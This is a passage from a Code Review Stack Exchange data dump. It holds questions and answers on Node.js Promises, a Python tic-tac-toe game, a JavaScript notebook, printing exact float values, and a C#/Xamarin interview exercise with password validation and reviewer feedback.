<p>I also feel like I need to add that I'm aware this code could be improved by dumping all this business logic into a class or splitting it out into separate files. I'm not after help in that sense, it's more of how to handle API requests and waiting for the requests to finish and when/how/if to use Promises.</p>
|
[] |
[
{
"body": "<p>When you have a lot of asynchronous requests to make, and you want to wait for all to finish, the proper method to use is to first <a href=\"https://stackoverflow.com/questions/22519784/how-do-i-convert-an-existing-callback-api-to-promises\">promisify</a> the requests (if they don't return a Promise already), and then to use <code>Promise.all</code>, which returns a Promise which resolves once all promises in the passed array have resolved.</p>\n<p>Unfortunately, <code>icingaServer</code> looks to be callback-based, and you have to multiple methods from it. Luckily, there's a package called <a href=\"https://nodejs.org/dist/latest-v8.x/docs/api/util.html#util_util_promisify_original\" rel=\"nofollow noreferrer\">promisify</a> that makes turning these callback APIs into Promises much easier.</p>\n<p>You can reduce the nesting level by one by changing</p>\n<pre><code>clients.forEach((clientMap) => {\n Object.entries(clientMap).forEach(([client, hostnameWildcard]) => {\n</code></pre>\n<p>into a use of <code>flatMap</code> instead: <code>clients.flatMap(Object.entries)</code></p>\n<p><strong>DRY</strong> You have two very similar callbacks in <code>getServiceFiltered</code> and <code>getHostFiltered</code>. All that differs is the function invoked and the parameter passed, so it'd be better to make another function to which you can pass the parts that change.</p>\n<p><strong>Parallel processing</strong> Rather than two calls which are made in serial, consider making them both at once, in parallel, if the API supports it - this'll let your script finish quicker.</p>\n<p><strong>Filtered array length</strong> While you can do <code>arr.filter(callback).length</code>, you might consider using <code>reduce</code> instead, since you don't care about the resulting array, you just care about the number of matching elements.</p>\n<p><strong>Unquoted keys</strong> In JS, there's no need to quote object keys unless the keys contain characters that are invalid for idenfifiers. Most prefer not to use quotes so as to keep the code free of unnecessary noise.</p>\n<p>Refactored:</p>\n<pre><code>const { promisify } = require('util');\nconst icingaServer = new icingaApi(icingaConfig.url, icingaConfig.port, icingaConfig.username, icingaConfig.password);\nconst getServiceFiltered = promisify(icingaServer.getServiceFiltered).bind(icingaServer);\nconst getHostFiltered = promisify(icingaServer.getHostFiltered).bind(icingaServer);\n\nconst processClient = async ([client, hostnameWildcard]) => {\n const getClientData = async (method, filterKey) => {\n const result = await method({\n filter: 'match(host_name, host.name)',\n filter_vars: {\n [filterKey]: hostnameWildcard\n }\n });\n return {\n warnings: result.reduce((count, o) => count + (o.attrs.state === warning), 0),\n errors: result.reduce((count, o) => count + (o.attrs.state === warning), 0),\n totalCount: result.length,\n };\n };\n const [serviceData, hostData] = await Promise.all([\n getClientData(getServiceFiltered, 'service_name'),\n getClientData(getHostFiltered, 'host_name'),\n ]);\n return {\n name: `${client} (${hostData.totalCount}/${serviceData.totalCount})`,\n errors: serviceData.errors + hostData.errors,\n warnings: serviceData.warnings + hostData.warnings,\n };\n};\n\nPromise.all(\n clients.flatMap(Object.entries).map(processClient)\n)\n .then(sendEmail)\n .catch((error) => {\n // handle errors\n });\n</code></pre>\n<p>where <code>sendEmail</code> now takes a parameter of the data to send.</p>\n<p>Also note that <code>// handle errors</code> shouldn't <em>just</em> log an error if it occurs - ideally, you'd have a system in which such an error results in a developer being able to look at a dashboard or something to see at a glance what's failed recently, to see when an issue arises that needs looking into (for example, if the API changes and all requests start failing).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T04:24:07.427",
"Id": "489646",
"Score": "0",
"body": "Thanks for an in-depth answer @CertainPerformance.\n\nSo when `.then(sendEmail)` is ran, you're passing in the function `sendEmail`, will the returned data from the promise above be 'magically' available in the `sendEmail` function itself?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:37:14.103",
"Id": "489727",
"Score": "1",
"body": "Not magically - see how the answer says *where `sendEmail` now takes a parameter of the data to send.* So you'd need `function sendEmail(data)`, and then the `.then(sendEmail)` will invoke `sendEmail` with the resolve value of the previous Promise."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T09:06:19.873",
"Id": "489789",
"Score": "0",
"body": "Ok, great - thanks for your help. Much appreciated!"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:54:59.823",
"Id": "249689",
"ParentId": "249681",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249689",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T13:20:39.637",
"Id": "249681",
"Score": "3",
"Tags": [
"node.js",
"api",
"asynchronous",
"promise"
],
"Title": "Node.js package that retrieves data from an API, formats it and sends it out via email to a distribution list"
}
|
249681
|
<p>I made a very primitive Tic-Tac-Toe using Python and I would like a grade on how well I coded the game. <br>What code was there that could've been simpler or more efficient? And any advice you can give me?</p>
<pre><code>board = ['-','-','-','-','-','-','-','-','-']
request = None
currentLetter = 'X'
win = False
def displayBoard():
print(board[0] + ' | ' + board[1] + ' | ' + board[2])
print(board[3] + ' | ' + board[4] + ' | ' + board[5])
print(board[6] + ' | ' + board[7] + ' | ' + board[8])
displayBoard()
def inputLetters():
global currentLetter
request = input(currentLetter + "'s turn || Choose a position from 1 - 9: ")
print()
while int(request) not in range(1,len(board)+1):
request = input('Invalid input. Please choose a position from 1 - 9: ')
if board[int(request)-1] == 'X' or board[int(request)-1] == 'Y':
currentLetter = currentLetter
else:
board[int(request)-1] = currentLetter
checkForWin()
changingLetters()
def changingLetters():
global currentLetter
if currentLetter == 'X':
currentLetter = 'O'
else:
currentLetter = 'X'
def checkForWin():
global win
if board[0] == board[1] == board[2] == 'X' or board[0] == board[1] == board[2] == 'Y':
print('The ' + currentLetter + ' player has won!')
win = True
if board[3] == board[4] == board[5] == 'X' or board[3] == board[4] == board[5] == 'Y':
print('The ' + currentLetter + ' player has won!')
win = True
if board[6] == board[7] == board[8] == 'X'or board[6] == board[7] == board[8] == 'Y':
print('The ' + currentLetter + ' player has won!')
win = True
if board[0] == board[3] == board[6] == 'X'or board[0] == board[3] == board[6] == 'Y':
print('The ' + currentLetter + ' player has won!')
win = True
if board[1] == board[4] == board[7] == 'X' or board[1] == board[4] == board[7] == 'Y':
print('The ' + currentLetter + ' player has won!')
win = True
if board[2] == board[5] == board[8] == 'X' or board[2] == board[5] == board[8] == 'Y':
print('The ' + currentLetter + ' player has won!')
win = True
if board[2] == board[4] == board[6] == 'X' or board[2] == board[4] == board[6] == 'Y':
print('The ' + currentLetter + ' player has won!')
win = True
if board[0] == board[4] == board[8] == 'X' or board[0] == board[4] == board[8] == 'Y':
print('The ' + currentLetter + ' player has won!')
win = True
elif '-' not in board:
print('Tie')
while True:
inputLetters()
displayBoard()
if win:
break
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:28:41.753",
"Id": "489562",
"Score": "2",
"body": "please put whole code in the question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T16:07:25.287",
"Id": "489580",
"Score": "3",
"body": "This program isn't correct. Have you tried running it yourself? Requirements for posting are that the program works as intended."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-11-04T04:50:31.997",
"Id": "495327",
"Score": "3",
"body": "The code you have provided does not work as expected. Which is off-topic"
}
] |
[
{
"body": "<p>This is a month old, hope this review is still helpful!</p>\n<ul>\n<li>learn how to pass things into a function, and return things from a function.</li>\n<li>you use global state (all the variables like the board, whose turn it is, and whether they won). that's okay while you're learning, but you should avoid this once you know how.</li>\n<li>each function should clearly do one thing, so someone reading it can understand what the function call does without reading the function. this will help you too, as your programs get bigger and bigger.\n<ul>\n<li>'displayBoard' is perfect--it displays the board.</li>\n<li>'inputLetters' does a lot of things--it should just return which letter the player picked instead.</li>\n<li>'checkforWin' is great, it does exactly one thing. it should return True or False, instead of setting the global 'win'.</li>\n</ul>\n</li>\n<li>checkForWin is long and complicated (also, copy-pasted wrong, probably). it's very repetitive. in programming, this is considered a Bad Sign--you should figure out a way to write it to be less repetitive. That way it will be easier to look at and understand. i'm going to leave this one as a challenge to you</li>\n<li>all the code not in a function, should be together at the end, so it's easy to find.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-11-04T14:36:04.500",
"Id": "495382",
"Score": "0",
"body": "Welcome to Code Review. This is a very nice answer, but in general please don't answer questions that have a comment that indicates the question is off-topic."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-11-05T09:09:51.223",
"Id": "495524",
"Score": "0",
"body": "The question was edited to be on-topic after that comment (originally this was 5 lines of code with the rest missing), which I checked."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-11-04T02:44:27.120",
"Id": "251577",
"ParentId": "249686",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:14:29.947",
"Id": "249686",
"Score": "1",
"Tags": [
"python",
"beginner",
"array",
"game",
"tic-tac-toe"
],
"Title": "Python Tic-Tac-Toe"
}
|
249686
|
<p>I use an online, simplified notebook. I'm able to add notes, delete notes, and edit existing notes. I find the code to be pretty unattractive and is heavily repeated.</p>
<p>When I built this, I borrowed code from many sources (I was still learning web programming) and I had a hard time consolidating them.</p>
<pre><code>const pushToURL = (name, key, value) => window.history.replaceState(null, null, `${name}?${key}=${value}`)
function f(){
head = document.getElementById('head_i');
text = document.getElementById('text_i');
d = document.getElementsByClassName('active_button');
if (d.length > 0){
d[0].className = 'button'
}
active = document.activeElement;
pushToURL('', 'id', this.id)
if (active.className == 'button')
active.className = 'active_button'
note = JSON.parse(localStorage.getItem(this.id))
if (note){
head.value = note[0]
text.value = note[1]
}
else{
head.value = ''
text.value = ''
}
}
function ff(id_r){
head = document.getElementById('head_i');
text = document.getElementById('text_i');
d = document.getElementsByClassName('active_button');
if (d.length > 0){
d[0].className = 'button'
}
active = document.getElementById(id_r);
pushToURL('', 'id', id_r)
if (active.className == 'button')
active.className = 'active_button'
note = JSON.parse(localStorage.getItem(id_r))
if (note){
head.value = note[0]
text.value = note[1]
}
else{
head.value = ''
text.value = ''
}
}
function add(iner = "Замітка", id = String(Math.random()).slice(2,8),dat){
var elem = document.createElement('button');
elem.className = 'button';
elem.id = id;
elem.onclick = 'reboot(elem.id)';
elem.innerHTML = iner + ' ' + ' ' +dat;
elem.addEventListener("click", f);
parent = document.getElementById('headers');
delet = document.createElement('button');
delet.className = 'delete_but';
delet.innerHTML = 'удал';
delet.id = id + ' ' +'d'
delet.addEventListener("click", function(){
window.location.href = window.location.origin + window.location.pathname +'?id=undefined'
var el = document.getElementById(this.id.split(' ')[0]);
el.parentNode.removeChild(el);
localStorage.removeItem(this.id.split(' ')[0]);
})
elem.appendChild(delet);
parent.insertBefore(elem, parent[0]);
if (iner == "Замітка"){
ff(id)
}
}
function input_text(){
var now = new Date()
var sec = Date.now()
var formatter = new Intl.DateTimeFormat('ru', {hour: 'numeric',minute: 'numeric', second: 'numeric'})
var formatter_d = new Intl.DateTimeFormat('ru')
head = document.getElementById('head_i').value;
text = document.getElementById('text_i').value;
active_e = document.getElementsByClassName('active_button')[0];
e = formatter.format(now) + ' ' + String(formatter_d.format(now));
active_e.innerHTML = head +' ' + ' '+ e;
delet = document.createElement('button');
delet.className = 'delete_but';
delet.innerHTML = 'удал';
delet.id = active_e.id + ' d'
delet.addEventListener("click", function(){
window.location.href = window.location.origin + window.location.pathname +'?id=undefined'
var el = document.getElementById(this.id.split(' ')[0]);
el.parentNode.removeChild(el);
localStorage.removeItem(this.id.split(' ')[0]);
})
active_e.appendChild(delet);
localStorage.setItem(active_e.id,JSON.stringify([head,text,e,sec]));
}
var temp_arr = []
for (var i = 0; i < localStorage.length; i++){
key = localStorage.key(i);
val = JSON.parse(localStorage.getItem(key));
temp_arr.push([val[0], key, val[2], val[3]])
}
temp_arr.sort(function(a,b){
return Number(b[3]) - Number(a[3]);
})
for (var i = 0; i < localStorage.length; i++){
add(iner = temp_arr[i][0],id = temp_arr[i][1],dat = temp_arr[i][2])
}
a = window.location.search
id_t = a.split('=')[1];
if (id_t != 'notes' && id_t !='undefined'){
ff(id_t)
console.log(id_t);
}
document.addEventListener('keydown', function (e) {
input_text();
})
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:42:34.400",
"Id": "249688",
"Score": "1",
"Tags": [
"javascript",
"beginner",
"text-editor"
],
"Title": "Javascript Online Notebook"
}
|
249688
|
<p>Motivated by yet another <a href="https://stackoverflow.com/q/64013665/14265373">floating point question</a> on stackoverflow, I decided to print a float value <span class="math-container">\$x\in[0,1)\$</span>, i.e., the fractional part of a float (I might try printing whole floats later). But not the rounded value like <code>print(x)</code> does but the exact represented value. And only using basic operations:</p>
<pre><code>def print_float(x):
# Convert float x to integer fraction num/den.
num, den = 0, 1
while x:
x *= 2
num *= 2
den *= 2
if x >= 1:
x -= 1
num += 1
# Print num/den in decimal.
print('0.', end='')
while num:
num *= 10
print(num // den, end='')
num %= den
print()
</code></pre>
<p>Testing it against a simpler way using string formatting:</p>
<pre><code>from random import random
for _ in range(3):
x = random()
print(f'{x}:')
print(('%.2000f' % x).rstrip('0'))
print_float(x)
print()
</code></pre>
<p>Output:</p>
<pre><code>0.1659451324370237:
0.16594513243702369020837750213104300200939178466796875
0.16594513243702369020837750213104300200939178466796875
0.6127401513193578:
0.6127401513193577731186678647645749151706695556640625
0.6127401513193577731186678647645749151706695556640625
0.11658146732832175:
0.11658146732832175285210496440413407981395721435546875
0.11658146732832175285210496440413407981395721435546875
</code></pre>
|
[] |
[
{
"body": "<h1>Separation of Concerns</h1>\n<p>Your function is doing too much. It is:</p>\n<ol>\n<li>Converting the float to a fraction</li>\n<li>Converting the fraction to a string of digits</li>\n<li>Printing the string of digits</li>\n</ol>\n<p>You should separate these.</p>\n<h1>Float to Fraction</h1>\n<p>First, let's move the float-to-fraction code into its own function.</p>\n<pre class=\"lang-py prettyprint-override\"><code>from typing import Tuple\n\ndef float_to_fraction(value: float) -> Tuple[int, int]:\n """\n Convert a floating point number in the range [0, 1) into a fraction.\n\n >>> float_to_fraction(0.625)\n (5, 8)\n\n >>> float_to_fraction(0.1)\n (3602879701896397, 36028797018963968)\n """\n\n if not (0 <= value < 1):\n raise ValueError("Value out of range (0 <= value < 1)")\n \n numerator, denominator = 0, 1\n while value:\n value *= 2\n numerator *= 2\n denominator *= 2\n if value >= 1:\n value -= 1\n numerator += 1\n return numerator, denominator\n</code></pre>\n<p>Here, I've added:</p>\n<ul>\n<li>type hints, describing the input and output types for the function,</li>\n<li>a <code>"""docstring"""</code> describing how to use the function,\n<ul>\n<li>including an example formatted for use with the <a href=\"https://docs.python.org/3.8/library/doctest.html\" rel=\"nofollow noreferrer\"><code>doctest</code></a> module,</li>\n</ul>\n</li>\n<li>input range validation, since your expectation is for the range to be within a narrow range of <code>float</code> values.</li>\n</ul>\n<p>I've also changed <code>num</code> to <code>numerator</code>, since it would be easy to misinterpret the abbreviation to mean <code>number</code>. Similarity, <code>den</code> became <code>denominator</code> and <code>x</code> became <code>value</code>.</p>\n<h1>Fraction to String</h1>\n<p>Again, converting a numerator/denominator fraction into a series of digits is logical unit of code, which could be reused elsewhere, so I've made it into a function:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def fraction_to_string(numerator: int, denominator: int) -> str:\n """\n Convert a proper fraction into a corresponding series of digits.\n\n >>> fraction_to_string(5, 8)\n '0.625'\n """\n\n if not (0 <= numerator < denominator):\n raise ValueError("Improper or negative fraction given")\n\n if denominator & (denominator - 1) != 0:\n raise ValueError("Denominator must be a power of 2")\n\n digits = '0.'\n while numerator:\n numerator *= 10\n digits += str(numerator // denominator)\n numerator %= denominator\n\n return digits\n</code></pre>\n<p>Note: <code>str(0.0)</code> returns <code>'0.0'</code> but your code (and my duplication of it here) returns <code>'0.'</code>.</p>\n<p>Your code originally guaranteed the denominator was a power of 2. With this new function, a caller could ask for <code>fraction_to_digits(1, 3)</code> which would be an infinitely long string of digits, so I've added a condition restricting the denominator to a power of 2.</p>\n<h1>Float to String</h1>\n<p>Now we can compose these two functions, as well as recreate the original function's functionality:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def float_to_string(value: float) -> str:\n numerator, denominator = float_to_fraction(value)\n return fraction_to_string(numerator, denominator)\n\ndef print_float(x):\n print(float_to_string(x))\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod(verbose=True)\n\n from random import random\n\n for _ in range(3):\n x = random()\n print(f'{x}:')\n print(('%.2000f' % x).rstrip('0'))\n print_float(x)\n print()\n</code></pre>\n<p>Additionally, I've added a "main guard" (always a good idea), and I've added a call to <a href=\"https://docs.python.org/3.8/library/doctest.html?highlight=testmod#doctest.testmod\" rel=\"nofollow noreferrer\"><code>doctest.testmod()</code></a> so the tests embedded in the <code>"""docstrings"""</code> are executed.</p>\n<h1>Notes</h1>\n<p>The function <code>float_to_fraction(value)</code> may be replaced by the built-in function <a href=\"https://docs.python.org/3.8/library/stdtypes.html?highlight=as_integer_ratio#float.as_integer_ratio\" rel=\"nofollow noreferrer\"><code>value.as_integer_ratio()</code></a>.</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> value = 0.625\n>>> value.as_integer_ratio()\n(5, 8)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T23:53:39.490",
"Id": "489856",
"Score": "1",
"body": "Thanks. Nice improvements. Didn't know it's that easy to run doctests. `fraction_to_string` *could* handle denominators other than powers of 2, like 7/25 or 7/28 would also work. The exact rule might be that after simplifying the fraction, the denominator's only prime factors are 2 and 5. But yeah, for my purpose I don't mind simply requiring powers of 2."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T21:12:33.863",
"Id": "249805",
"ParentId": "249690",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249805",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T16:58:18.867",
"Id": "249690",
"Score": "2",
"Tags": [
"python",
"reinventing-the-wheel"
],
"Title": "Print exact value represented by float in [0,1)"
}
|
249690
|
<p>So I was recently asked to complete the following challenge for an interview:</p>
<blockquote>
<p>Programming Problem
Provide a production ready solution that accepts a new user name, validates a single string input as the password, and
stores it locally. The solution should be written in C#/Xamarin with native UI (Android or iOS, your choice, not Xamarin
Forms)
UI requirements:</p>
<ol>
<li>The UI should have at least a page that is a list of users and their information.</li>
<li>The UI should have the ability to add a new user, which brings up a new screen, and then appends that user to the
bottom of the list view.</li>
<li>Alert the user if their passwords are invalid either on submission or real time.</li>
</ol>
</blockquote>
<blockquote>
<p>The following are the string validations:</p>
<ol>
<li>String must consist of a mixture of letters and numerical digits only, with at least one of each.</li>
<li>String must be between 5 and 12 characters in length.</li>
<li>String must not contain any sequence of characters immediately followed by the same sequence.</li>
</ol>
</blockquote>
<p>My solution is here: <a href="https://github.com/rjowell/TestApp" rel="nofollow noreferrer">https://github.com/rjowell/TestApp</a></p>
<p>I was recently notified that I did not pass. What could I have done differently, or is the interviewer being too nit-picky?</p>
<p>Here's a sample of my code:</p>
<pre><code>using Foundation;
using Newtonsoft.Json;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.IO;
using UIKit;
namespace CharterTestApp
{
public class User
{
public string name { get; set; }
public string location { get; set; }
public string username { get; set; }
public string password { get; set; }
public User(string nameInput, string loc, string user, string pass)
{
name = nameInput;
location = loc;
username = user;
password = pass;
}
}
public partial class LoginController : UIViewController
{
public LoginController(IntPtr handle) : base(handle)
{
}
public override bool ShouldPerformSegue(string segueIdentifier, NSObject sender)
{
return ProcLogin(usernameInput.Text, passwordInput.Text);
}
public override void ViewDidLoad()
{
base.ViewDidLoad();
}
public override void DidReceiveMemoryWarning()
{
base.DidReceiveMemoryWarning();
// Release any cached data, images, etc that aren't in use.
}
bool ProcLogin(string username, string password)
{
string errorText = "";
if(username == "")
{
errorText += "Username is blank\n";
if(password == "")
{
errorText += "Password is blank\n";
}
ErrorLabel.Text = errorText;
ErrorLabel.Hidden = false;
return false;
}
else
{
foreach(User item in Application.userList)
{
if(usernameInput.Text == item.username)
{
if(password == "")
{
errorText += "Password is blank\n";
ErrorLabel.Text = errorText;
return false;
}
else if(passwordInput.Text != item.password)
{
errorText += "Password Incorrect\n";
ErrorLabel.Text = errorText;
return false;
}
else
{
Application.currentName = item.name;
Application.currentUsername = item.username;
return true;
}
}
}
errorText += "Username doesn't exist\n";
ErrorLabel.Text = errorText;
return false;
}
}
}
}
</code></pre>
<p>CreateNewUser.cs</p>
<pre><code>using Foundation;
using Newtonsoft.Json;
using System;
using System.IO;
using System.Text.RegularExpressions;
using UIKit;
namespace CharterTestApp
{
public partial class CreateUserController : UIViewController
{
public CreateUserController (IntPtr handle) : base (handle)
{
}
partial void ProcessUserInput(UIButton sender)
{
string errorDisplays = "";
if (NameEntry.Text == "")
{
errorDisplays += "Name is blank\n";
}
else
{
foreach (User user in Application.userList)
{
if (user.name == NameEntry.Text)
{
errorDisplays += "User already exists with that name\n";
}
}
}
if(LocationEntry.Text == "")
{
errorDisplays += "Location is blank\n";
}
if(UsernameEntry.Text == "")
{
errorDisplays += "Username is blank\n";
}
else
{
foreach (User user in Application.userList)
{
if (user.username == UsernameEntry.Text)
{
errorDisplays += "User already exists with that name\n";
}
}
}
if(PasswordEntry.Text == "")
{
errorDisplays += "Password is blank\n";
}
else
{
if (Regex.IsMatch(PasswordEntry.Text,@"(..+)\1") || PasswordEntry.Text.Length < 5 || PasswordEntry.Text.Length > 12 || !Regex.IsMatch(PasswordEntry.Text, @"^[a-zA-Z0-9]+$", RegexOptions.IgnoreCase))
{
errorDisplays += "Password is not valid\n";
}
}
if (errorDisplays != "")
{
ErrorLabel.Hidden = false;
ErrorLabel.Text = errorDisplays;
}
else
{
Application.userList.Add(new User(NameEntry.Text,LocationEntry.Text,UsernameEntry.Text,PasswordEntry.Text));
File.WriteAllText("LoginData.json", "[");
foreach(User currentUser in Application.userList)
{
Console.WriteLine(JsonConvert.SerializeObject(currentUser));
File.WriteAllText("LoginData.json", JsonConvert.SerializeObject(currentUser));
}
File.WriteAllText("LoginData.json", "]");
Console.WriteLine(File.ReadAllText("LoginData.json"));
UserSuccessWindow.Hidden = false;
}
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T17:33:25.813",
"Id": "489588",
"Score": "3",
"body": "Post all of your code here or specific parts for feedback, questions based on external sources get closed"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T18:24:29.897",
"Id": "489592",
"Score": "1",
"body": "So the project is a complete Xamarin.iOS app, so I'm hesitant to post ALL the code here. The app consists of a login screen, a TableView listing users, and a Create New Users page. Is there something specific I should post?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T18:25:11.460",
"Id": "489593",
"Score": "0",
"body": "Does the code work? Did you test it? Are there any particular concerns you have about it if you can't show us everything? Please see our [FAQ on asking questions](https://codereview.meta.stackexchange.com/q/2436/52915)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T18:27:48.327",
"Id": "489594",
"Score": "0",
"body": "I guess that's kind of the issue. I actually didn't see anything wrong with it. The code works, yet it didn't pass muster. I guess I'm just trying to get some expert perspective on whether or not I should consider this a legitimate \"I failed the test\" or if my interviewer is being nit-picky."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T18:38:33.620",
"Id": "489595",
"Score": "1",
"body": "Pull out some core parts of the system like validation and examples of different coding techniques like UI. You probably won't get feedback on how it all works together but might get some responses on structure/coding practices that are more obviously not up to snuff"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T22:30:17.963",
"Id": "489625",
"Score": "1",
"body": "Not covered elsewhere, but ErrorLabel.Text is not set when there are no errors. So if the user corrects an error the error then the message remains. Sometimes a password can be blank. Why not allow this case? Also, use a dictionary for name and passwords."
}
] |
[
{
"body": "<p>I'm assuming that the code works and fulfills all the usability requirements that you got. Also assuming that this was a home assignment with "unlimited" time where you could code at your own pace and no one was hanging over your shoulder.</p>\n<p>To summarize, I think there are a bunch of "red flags" showing poor habits and/or poor awareness of basic code standards, which doesn't mean the program won't run, but it means if I hired you I would need to spend more time bringing you up to speed and good habits. And it is a clear downside if there are 5 other candidates, all else equal, who don't make these mistakes.</p>\n<p>Depending on the position you apply for, I suppose this could be a dealbreaker, but then of course I can't read the minds of your interviewer. If you got no feedback, who knows why they failed you?</p>\n<h2>Formatting</h2>\n<p>They probably don't fail you for formatting, but it still stands out to me as hard to read, non-standard, and sloppy, especially since it can be fixed automatically and for free.</p>\n<p>Running a small piece of your code through an online formatter returns this instead, with consistent and readable indentation and brackets. Still a few extra lines though. Why are there so many empty lines all over the code?</p>\n<p><a href=\"https://codebeautify.org/csharpviewer\" rel=\"nofollow noreferrer\">https://codebeautify.org/csharpviewer</a></p>\n<pre><code>\nforeach(User item in Application.userList) {\n if (usernameInput.Text == item.username) {\n if (password == "") {\n errorText += "Password is blank\\n";\n ErrorLabel.Text = errorText;\n return false;\n }\n else if (passwordInput.Text != item.password) {\n\n errorText += "Password Incorrect\\n";\n ErrorLabel.Text = errorText;\n return false;\n\n }\n else {\n Application.currentName = item.name;\n Application.currentUsername = item.username;\n return true;\n }\n\n }\n}\n\n</code></pre>\n<h2>Error handling</h2>\n<p>I also find it weird to report multiple errors at the same time like you do here. I'm not a UI/UX expert, but I would check and tell the user about one error, and once they fix that, check for the next error.</p>\n<p>There is probably some "standard way/best practice" of doing this and I could be wrong.</p>\n<pre><code>\nif(username == "")\n {\n errorText += "Username is blank\\n";\n if(password == "")\n {\n errorText += "Password is blank\\n";\n }\n ErrorLabel.Text = errorText;\n ErrorLabel.Hidden = false;\n return false;\n }\n\n</code></pre>\n<h2>Don't repeat yourself</h2>\n<pre><code>\nerrorText += "Password Incorrect\\n";\nErrorLabel.Text = errorText;\nreturn false;\n\n</code></pre>\n<p>These lines are repeated multiple times within the same piece of code. There must be a better way of doing it, probably refactoring to some shared "error-report" function and early return that allows you to have these lines only once in your code and to restructure the validation/username parts.</p>\n<h2>Don't repeat yourself 2</h2>\n<p>The code below also looks like an invitation to refactor. Could you define a <code>SortedDictionary<Element, String></code> or other useful structure, and iterate through your elements text, to validate and report the errors, rather than copy the same things over and over?</p>\n<pre><code>if (NameEntry.Text == "")\n {\n errorDisplays += "Name is blank\\n";\n }\n else\n {\n foreach (User user in Application.userList)\n {\n if (user.name == NameEntry.Text)\n {\n errorDisplays += "User already exists with that name\\n";\n }\n }\n }\n if(LocationEntry.Text == "")\n {\n errorDisplays += "Location is blank\\n";\n }\n if(UsernameEntry.Text == "")\n {\n errorDisplays += "Username is blank\\n";\n }\n</code></pre>\n<h2>Data structure</h2>\n<p>Storing the users in a list seems wrong when you need to do a lookup on their name. This is a clear case for a Dictionary and/or Set of some kind. Putting myself in the interviewer's seat: since you're not using a dictionary, it makes me suspect that you may not know about dictionaries, and if that's true, we have a problem.</p>\n<pre><code>foreach (User user in Application.userList)\n {\n if (user.username == UsernameEntry.Text)\n {\n errorDisplays += "User already exists with that name\\n";\n }\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T22:13:47.170",
"Id": "489622",
"Score": "0",
"body": "Thanks for your response. So getting back to my original question, do you think those mistakes are enough to disqualify for a Mid Dev role? What about a Jr role?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T22:21:31.780",
"Id": "489623",
"Score": "3",
"body": "I don't think any of these in itself would disqualify the applicant, at least not for a Jr role. But most importantly from my point of view, if several candidates applied to 1 position and all else was equal, then this would matter. In the opposite situation, if the company needs to fill the position and there was just one applicant who got this far in the process, I would think that we can fix these things and I wouldn't be much worried."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-12-29T17:02:20.473",
"Id": "501008",
"Score": "0",
"body": "FWIW, in your “Error handling” section, I understand what you were going for, but you’re only checking for missing password if the username was missing. You are reproducing the problem in the OP’s code snippet. You want to check these two fields independently."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-12-31T20:21:46.563",
"Id": "501211",
"Score": "0",
"body": "@Rob I just copied the code to point out which piece of code I was talking about. I didn't change it or attempt to write a fix."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T21:34:55.863",
"Id": "249702",
"ParentId": "249693",
"Score": "4"
}
},
{
"body": "<p>There's a lot going on here. Let me just focus on the string validations, that being said, let me mention that it's not good that you've coupled all this logic tightly to the actual representation on the UI, this makes testing difficult and means you have all this logic to retrieve the values of fields interspersed with the logic handling them.</p>\n<pre><code> if (Regex.IsMatch(PasswordEntry.Text,@"(..+)\\1") || PasswordEntry.Text.Length < 5 || PasswordEntry.Text.Length > 12 || !Regex.IsMatch(PasswordEntry.Text, @"^[a-zA-Z0-9]+$", RegexOptions.IgnoreCase))\n</code></pre>\n<p>I guess this is suppose to encode the three validations.</p>\n<p>Well, first thoughts, this is a very long line, the way you've structured makes it pretty apparent which parts correspond to which rules (but in reverse of the order they gave which is slightly confusing and with what I guess to be the most computationally expensive test first, but I have no evidence of that so ignore that comment), but nonetheless it's still too confusing by my reckoning.</p>\n<p>Furthermore, where you've placed it means it's hard to test.</p>\n<p>Ideally I would propose making each rule its own function with a good name</p>\n<p>Then a function like <code>ValidatePassword(string 